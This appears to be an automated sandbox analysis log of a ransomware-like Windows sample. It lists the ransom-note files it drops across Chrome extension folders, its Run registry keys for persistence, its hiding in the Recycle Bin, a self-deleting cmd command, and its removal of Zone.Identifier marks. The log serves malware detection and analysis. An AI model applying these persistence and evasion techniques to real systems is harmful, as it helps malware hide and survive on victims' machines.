Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\fr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\he\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\he\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\hi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\hi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\hu\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\hu\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\id\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\id\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\it\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\it\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ja\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ja\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ko\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ko\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\lt\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\lt\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\lv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\lv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ms\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ms\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\nl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\nl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\no\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\no\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\pl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\pl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\pt_BR\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\pt_BR\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\pt_PT\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\pt_PT\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ro\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ro\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ru\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ru\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\sk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\sk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\sl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\sl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\sr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\sr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\sv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\sv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\th\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\th\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\tr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\tr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\uk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\uk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\vi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\vi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\zh_CN\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\zh_CN\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\zh_TW\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\zh_TW\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_metadata\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\af\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\af\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\am\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\am\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\ar\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\ar\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\az\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\az\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\be\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\be\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\bg\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\bg\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\bn\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\bn\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\ca\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\ca\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\cs\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\cs\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\cy\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\cy\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\da\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\da\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\de\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\de\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\el\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\el\restore_files_gpmus.html	Jump to behavior

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run E722D94C1CAC34B

Jump to behavior

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run E722D94C1CAC34B	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run E722D94C1CAC34B	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run E722D94C1CAC34B	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run E722D94C1CAC34B	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Creates files in the recycle bin to hide itself

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

File created: C:\$Recycle.Bin\S-1-5-21-966771315-3019405637-367336477-1001\restore_files_gpmus.txt

Jump to behavior

Deletes itself after installation

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del C:\Users\user\Desktop\0T8AMS~1.EXE >> NUL
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del C:\Users\user\Desktop\0T8AMS~1.EXE >> NUL			Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	File opened: C:\Users\user\Desktop\0t8amSU3vd.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Users\user\AppData\Roaming\svcmtr.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Users\user\AppData\Roaming\svcmtr.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Users\user\AppData\Roaming\svcmtr.exe:Zone.Identifier read attributes \| delete
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Users\user\AppData\Roaming\svcmtr.exe:Zone.Identifier read attributes \| delete

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Code function: 0_2_0041B2C0 GetVersionExW,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

0_2_0041B2C0

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

